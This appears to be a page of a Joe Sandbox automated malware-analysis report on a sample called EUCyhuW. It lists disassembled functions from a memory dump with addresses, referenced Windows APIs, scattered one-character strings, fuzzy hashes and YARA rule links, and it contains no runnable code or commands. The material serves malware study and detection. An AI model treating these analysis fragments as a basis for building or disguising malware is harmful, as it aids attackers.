String ID:
API String ID: 3861434553-0
Opcode ID: 966256788f2ea28a9abe1eb818366d4fe186078ac5ddb570089881c989f6eb41
Instruction ID: 153bf8dcd83d8efca8819f49322324011317ffdb3a0414d6f49220ef735856c8
Opcode Fuzzy Hash: 966256788f2ea28a9abe1eb818366d4fe186078ac5ddb570089881c989f6eb41
Instruction Fuzzy Hash: 22D0C97EE916008F97888F60ED5A1647732EBCB322748A934A945D3318CA38E455890C

Function 00413CF0 Relevance: 2.2, Strings: 1, Instructions: 1000COMMON

Download Yara Rule

Strings

#, xrefs: 00413EC6

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: #
API String ID: 0-1443896768
Opcode ID: a6e2955ee29695258507bce662d9dcb1cf5dac3a7348a5cc8ed874aab1bafafc
Instruction ID: d20003b8ff293c18334bea863f8fcdfdced571c85ef097b4725111ab617053d0
Opcode Fuzzy Hash: a6e2955ee29695258507bce662d9dcb1cf5dac3a7348a5cc8ed874aab1bafafc
Instruction Fuzzy Hash: 2C4263756083009BD7149F28EC81B7BB3A1EFDA328F15452DF482973A1E7789C45CB9A

Function 004398D0 Relevance: 2.0, Strings: 1, Instructions: 755COMMON

Download Yara Rule

Strings

f, xrefs: 00439B51

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: e93a7b9007d7e2adc794b4fa93f94979de011f3bb61f00e59f91e026df6dd233
Instruction ID: 0e83319c0a52a0a2d4025f2f855d182bcdce820e40333e7299f913c3cedb96f4
Opcode Fuzzy Hash: e93a7b9007d7e2adc794b4fa93f94979de011f3bb61f00e59f91e026df6dd233
Instruction Fuzzy Hash: C422F37020C3518FD714DF28C890A2BBBE1ABC9714F189A2DE5D697391D7B5EC05CB8A

Function 004254E0 Relevance: 1.8, Strings: 1, Instructions: 583COMMON

Download Yara Rule

Strings

KM, xrefs: 00425C84

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: KM
API String ID: 0-2038479749
Opcode ID: d2f72011e133861f9b1fb5410ebcb93e8e8588b7e4add47fd4a1db5d78bc3b3b
Instruction ID: d848afa4c0631aae570474e1c7933bcb62fe460e7be1e1412e5731fc99e9db73
Opcode Fuzzy Hash: d2f72011e133861f9b1fb5410ebcb93e8e8588b7e4add47fd4a1db5d78bc3b3b
Instruction Fuzzy Hash: 091253B56083918FD7149F25A85236BBBE1EFD6304F54883EE5C18B382E778C905CB5A

Function 004152EC Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

-jjZ, xrefs: 00415305

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: -jjZ
API String ID: 0-586210766
Opcode ID: 78609f71234fcf53614fea0a92eb2a58a8e5b2868fae7fcd2e21c7245c416bbc
Instruction ID: b097fedd48c46a224e4955af4dcd37d282fa08c246c66897522c683225f87871
Opcode Fuzzy Hash: 78609f71234fcf53614fea0a92eb2a58a8e5b2868fae7fcd2e21c7245c416bbc
Instruction Fuzzy Hash: 429169B0018341CFD724CF25C4A0BABBBF1FF92318F55995DD4898B2A1E7788945CB9A

Function 00414E1A Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

gfff, xrefs: 00414FA1

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: 00d19aa53d24c91ba229553f998e681656e3caa022736a74909cdfa927795020
Instruction ID: cccd02d151fc12d1a2562be7de8c9476ce7b21d8e2c31849f72b12cfbd717d2c
Opcode Fuzzy Hash: 00d19aa53d24c91ba229553f998e681656e3caa022736a74909cdfa927795020
Instruction Fuzzy Hash: 1D613975A043518BD314CF29D8117BBB6E2FBC5314F14863EE496DB3C1EB7889468786

Function 004158F0 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

vYA, xrefs: 00415970, 00415A89

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: vYA
API String ID: 0-3315555051
Opcode ID: a73d0acb9f6c12c6a464e02623dace14fa794e5d9142f975910ef74e9a6403f0
Instruction ID: 3c184762d0f06d1c6c8c92cf068b9fb7124a9dea3f33be2199c41025d256fdc9
Opcode Fuzzy Hash: a73d0acb9f6c12c6a464e02623dace14fa794e5d9142f975910ef74e9a6403f0
Instruction Fuzzy Hash: 7C11DB76658741DBE3218B14C880FFBB3AAF7D6320F14863BE48593354D6349D85CB9A

Function 0041FE5F Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

L'(), xrefs: 0041FECE

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: L'()
API String ID: 0-3530251834
Opcode ID: 2eb97e9f080d446e58c902f51dbff13a2683e9d09a4eca63dbf9b60c972295c2
Instruction ID: 1fbf1501befefc3ba1c1e8309e0c1cbaa28d8976f5f85aa68e25c2d1543038ce
Opcode Fuzzy Hash: 2eb97e9f080d446e58c902f51dbff13a2683e9d09a4eca63dbf9b60c972295c2
Instruction Fuzzy Hash: 6C017633A8830006E7084A29ED83377FBCB97E2210F1D893FE969C3181C0B84405424A

Function 00421221 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e3e2de1090690ee3ff3ad64c133109ff2729fb40730cfd90687c2ddfae484d8
Instruction ID: 4b8ec230849e8cb61b2dece5b62c1b06ff5b53a5c60dbfb5fe10ffccb64b6710
Opcode Fuzzy Hash: 4e3e2de1090690ee3ff3ad64c133109ff2729fb40730cfd90687c2ddfae484d8
Instruction Fuzzy Hash: 8922C075A09211DFE304CF28EC5072AB3E2FB89712F69867DE585973A0DB38E911CB45

Function 00407410 Relevance: .6, Instructions: 634COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 301f3e1d7cb706b2e6e3c1efe1461f2913435aa2921724747b3d3afb79bcf118
Instruction ID: a4a99e91a1990f857e7415728ab3888dbbc73268fc9e5db3bb85deec0b442900
Opcode Fuzzy Hash: 301f3e1d7cb706b2e6e3c1efe1461f2913435aa2921724747b3d3afb79bcf118
Instruction Fuzzy Hash: 1022C372A087119BC724DF18D8846ABB3E1EFC4319F19893ED986A7385D738B851CB47

Function 00436DF0 Relevance: .6, Instructions: 553COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 16664413c0fbf11cf89beccaaac73386be51ab3c3e3f952761eb91529a7c61c2
Instruction ID: cfc8b8373cc8f0d64024626388423ca557c6e07e74eef05e63e42e5e24e037d0
Opcode Fuzzy Hash: 16664413c0fbf11cf89beccaaac73386be51ab3c3e3f952761eb91529a7c61c2
Instruction Fuzzy Hash: 68E1A7B2A0C3255BC724DE25DC8172BB7A3ABD8310F19962EE8D417391DA749C05CB9A

Function 004058B0 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d4259e322bacfc0416a5395c50fcd0a3db6ccb553543de0a91ceca018153399
Instruction ID: 84f3de86520b0e3cb47673128ac33b9e4e45c369931e68c3bfcb17c6dbada293
Opcode Fuzzy Hash: 5d4259e322bacfc0416a5395c50fcd0a3db6ccb553543de0a91ceca018153399
Instruction Fuzzy Hash: B7F1CB356087418FD724CF29C88166BFBE6EFD9304F08882EE4D597792E679E804CB56

Function 004082E0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 618456d8267d67387b6099f4f99d0c38a9aaf56fa37458101257f98261080bd9
Instruction ID: 3993700242743b02e3ff531e94237f5f9935d5c5ef27cad4c210cea7ba91a0ab
Opcode Fuzzy Hash: 618456d8267d67387b6099f4f99d0c38a9aaf56fa37458101257f98261080bd9
Instruction Fuzzy Hash: D9A12C31A086515BC3118E29CA4425BBBE2ABC5310F19CA7ED8D4E73D6EE3DDC458B85

Function 0043D900 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3b659e61feea4800f23aabc3e1916e21f2e88de54d2d3c391a104f5816c03fa8
Instruction ID: d154737a76acc8160ccf4c4ddf6d7a0f4a9c4f92881f701cefa7248cb08b6958
Opcode Fuzzy Hash: 3b659e61feea4800f23aabc3e1916e21f2e88de54d2d3c391a104f5816c03fa8
Instruction Fuzzy Hash: 3281CD34A082018FD714DF28E990A2BB3E2FF9E710F15A96DE9858B355D734EC11DB4A

Function 00435F70 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e4cfc4f9f4447e028daa0032cacd8c45ea3376fad514430bd7bcb87b22cb290
Instruction ID: 1d26dcd2aab60f7d2a3fc93cd1406aef67e7b1fc4f9a6d4ddb7869c3e4c25c11
Opcode Fuzzy Hash: 9e4cfc4f9f4447e028daa0032cacd8c45ea3376fad514430bd7bcb87b22cb290
Instruction Fuzzy Hash: F32175317082064BD72CDB58C89267FF7E9DBCE710F0AD56FD8829B291E6789844C3A5

Function 0043D460 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 474ca2a97764db94f74f7d0a3106599533b94f1f5341fa8fa452e9a4c3b21f6a
Instruction ID: 574a74c8e2f4fa5e83b2f150908d99941e6526667442b443179790eb21de04d1
Opcode Fuzzy Hash: 474ca2a97764db94f74f7d0a3106599533b94f1f5341fa8fa452e9a4c3b21f6a
Instruction Fuzzy Hash: BF31F734B05300BFE7208B24ED80B3BB7E5EB9A718F24662EE5C597291D234EC10C749

Function 00427660 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ac1d0521527046818da34be9006db87116401b549f3c6cfc71cfb6860cbf1b6f
Instruction ID: f4e35e944ea9cd49fbe36f92a8b053d4734b0ca6b40ce3a5a456bc88b366cb0a
Opcode Fuzzy Hash: ac1d0521527046818da34be9006db87116401b549f3c6cfc71cfb6860cbf1b6f
Instruction Fuzzy Hash: 9921E73570D6309BD7189B25A850A3FB3A3FBE6320F9645AED48653750D2359C02CBAE

Function 0043BAB1 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 255b2f6828a997e408e436578b8112c09f448b06031f2dc392ca2af83f1a459d
Instruction ID: 45087729575ad1356459eb95253fc9be0a6167ed9f1ecdc1dbbe0146bfcc3819
Opcode Fuzzy Hash: 255b2f6828a997e408e436578b8112c09f448b06031f2dc392ca2af83f1a459d
Instruction Fuzzy Hash: 34014736B552200FE3498E3CCC409673B939BDB621B0AE668C84057676C6345C068384

Function 004331E0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 3b71c0b977de455cc40f22bdca7c91c0af693a7305cb31a3f34066a8c812e762
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6311EC336091D40EC3158D3C8400566BF930E97735F1993DAF4F5972D2D62A8E8A8359

Function 00428D20 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 506de8e726f951171c1ca46ea2cc05a419ed05bad5432931091bb6c93f397843
Instruction ID: 140f9d0889a5464b40f01d2c37ab5236dd2ca064b69ffe3d0e8a3ab79a2106e9
Opcode Fuzzy Hash: 506de8e726f951171c1ca46ea2cc05a419ed05bad5432931091bb6c93f397843
Instruction Fuzzy Hash: FA01B5F1B1131147E7209E11E4C072FB2A99FA4718F58443ED40857386DF7DFC098699

Function 00429DE3 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e65010d7278c663552bef2c56b84290a5eb172a2b015157275085d8bff45cf20
Instruction ID: f5a3d8c871d48dbe315db6e8f68186b97a133618d80e9f716d87a00223897ed1
Opcode Fuzzy Hash: e65010d7278c663552bef2c56b84290a5eb172a2b015157275085d8bff45cf20
Instruction Fuzzy Hash: 67112971A0803156DB10DA24A8112777391EB22344F9A04BFD8C6A73C1D62E9C41D69E

Function 004288FA Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0c33b0e02fdbf4357b2eeec1dfe8085f021eb764875f3150e17ac9dee894866
Instruction ID: bfc29c0e09d10012c37c0a88d5426590abe7b21d2592b5146b45ae13ad466d88
Opcode Fuzzy Hash: e0c33b0e02fdbf4357b2eeec1dfe8085f021eb764875f3150e17ac9dee894866
Instruction Fuzzy Hash: 2501D8757092309FC718AB55A88053F73A2E7AA714F54496ED4826B310C6759C41CB9F

Function 004305BF Relevance: 26.4, APIs: 1, Strings: 14, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00430617

Strings

-, xrefs: 00430745
1, xrefs: 004306D7
,, xrefs: 004306E1
(, xrefs: 004305CF
d, xrefs: 0043074F
', xrefs: 00430727
., xrefs: 004305ED
:, xrefs: 004306C3
., xrefs: 00430731
*, xrefs: 004305D9
4, xrefs: 00430713
5, xrefs: 004306EB
-, xrefs: 004305E8
,, xrefs: 004305E3

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: '$($*$,$,$-$-$.$.$1$4$5$:$d
API String ID: 2525500382-1252603568
Opcode ID: c9c274257bacbde457e8fbe608dc9edb58bdb03f0db4b74fde15ae628ec9e76f
Instruction ID: 44f3f0cc4296488830ba88384475dd896e07395ffbf7d56fec9c673006c5d5d1
Opcode Fuzzy Hash: c9c274257bacbde457e8fbe608dc9edb58bdb03f0db4b74fde15ae628ec9e76f
Instruction Fuzzy Hash: 9B61902011CBC2CDD362867C984864FAFD11BA7238F581B9DF1F04A3E6D6A9810AC767

Function 0043090C Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043096C

Strings

1, xrefs: 00430A2A
d, xrefs: 00430AA2
., xrefs: 00430942
4, xrefs: 00430A66
5, xrefs: 00430A3E
,, xrefs: 00430938
*, xrefs: 0043092E
:, xrefs: 00430A16
., xrefs: 00430A84
-, xrefs: 00430A98
,, xrefs: 00430A34
', xrefs: 00430A7A
-, xrefs: 0043093D

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: '$*$,$,$-$-$.$.$1$4$5$:$d
API String ID: 2525500382-2419733456
Opcode ID: 12c3bba8531268f1b8994222492f9b69a04370e94d9342ebe5f49df1d5a66087
Instruction ID: 3842334455cd8846db1550927becf81f8a6d56a1fbaf6594c4a687f18475b3c6
Opcode Fuzzy Hash: 12c3bba8531268f1b8994222492f9b69a04370e94d9342ebe5f49df1d5a66087
Instruction Fuzzy Hash: 0A81282010CBC2CED326D77C889864ABFE15BA7224F481B9DF5E14B3E6D2658506C767

Function 0042FF0A Relevance: 24.6, APIs: 2, Strings: 12, Instructions: 85COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042FF14
VariantInit.OLEAUT32 ref: 0042FF27

Strings

a, xrefs: 0042FFB5
E, xrefs: 0042FF85
H, xrefs: 0042FFFD
Z, xrefs: 0042FF95
P, xrefs: 0042FFE5
Z, xrefs: 0042FF55
W, xrefs: 0042FF75
N, xrefs: 0042FFD5
E, xrefs: 0042FF45
V, xrefs: 0042FF65
4, xrefs: 0042FFA5
P, xrefs: 0042FFC5

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: 4$E$E$H$N$P$P$V$W$Z$Z$a
API String ID: 2610073882-4227424645
Opcode ID: 88b3d6849b3b2b55699d2a121768fbc305852a3aa98dbc37fee2afc3adf57601
Instruction ID: f7c36d65b01b28c0a720741b5e2e02dba83b6d6c8f3042cd6f00843c56970d7f
Opcode Fuzzy Hash: 88b3d6849b3b2b55699d2a121768fbc305852a3aa98dbc37fee2afc3adf57601
Instruction Fuzzy Hash: CE41177110C7C28AD331DB38894979FBFE0AB96314F488A9DD1EC87392CA75450ACB57

Function 0042FB90 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 109COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0042FBDD

Strings

/, xrefs: 0042FC22
&, xrefs: 0042FC32
Y, xrefs: 0042FC72
<, xrefs: 0042FC62
/, xrefs: 0042FC92
8, xrefs: 0042FC82
1, xrefs: 0042FC42
7, xrefs: 0042FCB2
$, xrefs: 0042FCA2
%, xrefs: 0042FC52

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: $$%$&$/$/$1$7$8$<$Y
API String ID: 1927566239-1035285661
Opcode ID: 0dd77bfa0c280c1d85ebbd67144c13b9b410ba9512263f8106c2c1a6535a63ae
Instruction ID: 6337ec45e30d324e55f9f05e28ad4c9ddafac157a26d2665eeababdce996f2ac
Opcode Fuzzy Hash: 0dd77bfa0c280c1d85ebbd67144c13b9b410ba9512263f8106c2c1a6535a63ae
Instruction Fuzzy Hash: CC51277161C7C18ED335CB38885879BBEE16B96324F088A6DD4E98B3D2C7744505C797

Function 0038EDF2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,0038EDDD,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 0038EE98
__alloca_probe_16.LIBCMT ref: 0038EF53
__alloca_probe_16.LIBCMT ref: 0038EFE2
__freea.LIBCMT ref: 0038F02D
__freea.LIBCMT ref: 0038F033
__freea.LIBCMT ref: 0038F069
__freea.LIBCMT ref: 0038F06F
__freea.LIBCMT ref: 0038F07F

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 154f8cf83201b0d7cc742ff23905c66617f4ea5a67c0c7a1d3f89306ef76ed39
Instruction ID: 490c950fdb73ad1aee07e93b4ab66fc9ceff8248bd2893bae76cc9f650e71698
Opcode Fuzzy Hash: 154f8cf83201b0d7cc742ff23905c66617f4ea5a67c0c7a1d3f89306ef76ed39
Instruction Fuzzy Hash: 6471C8B2904309AFDF33BEA48C41BAF77B9AF45350F1A41E5F904AB282D7759C418761

Function 003745A9 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 003745F0
__alloca_probe_16.LIBCMT ref: 0037461C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0037465B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00374678
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 003746B7
__alloca_probe_16.LIBCMT ref: 003746D4
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00374716
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00374739

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: f7cb99bb1693f88c696c67cf24dee86c8a7c1a6493507d9349fe5bd5b6e7a33e
Instruction ID: 1ea3068dd2257b48447434e204891f759213555cec3eb1fb61323c7226efcaa5
Opcode Fuzzy Hash: f7cb99bb1693f88c696c67cf24dee86c8a7c1a6493507d9349fe5bd5b6e7a33e
Instruction Fuzzy Hash: 3651E272600246AFEF364F64CC45FAB7BA9EF45740F168129F929EA190D738ED00CB60

Function 00383332 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003833B8

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction ID: 8254fc7ede93cdc816d746c9c412325d3b4edd1fdadb5dae9fdbd79bbdcd505c
Opcode Fuzzy Hash: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction Fuzzy Hash: 4DB17772A01355AFDB17AF68CC81BAE7BA5EF56B10F1541E5E804AF382D274DB01C7A0

Function 0037FB24 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0037FC43
CallUnexpected.LIBVCRUNTIME ref: 0037FEBC

Strings

csm, xrefs: 0037FB61
csm, xrefs: 0037FBCE
`#9, xrefs: 0037FC3A
csm, xrefs: 0037FC7A

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
